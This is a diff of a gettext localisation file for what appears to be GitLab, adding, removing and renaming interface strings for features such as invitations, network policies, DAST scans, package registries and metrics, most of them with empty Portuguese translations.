@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr "Aprovado por"
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "Não foi possível guardar a ordem dos problemas"
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "Não está disponível as listas de objetivos com a tua licença atual"
msgid "Milestone lists show all issues from the selected milestone."
msgstr "As listas de objetivos mostram todos os problemas do objetivo selecionado."
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is equal to"
+msgstr ""
+
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr "Solicitar que os utilizadores enviem chaves SSH"
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
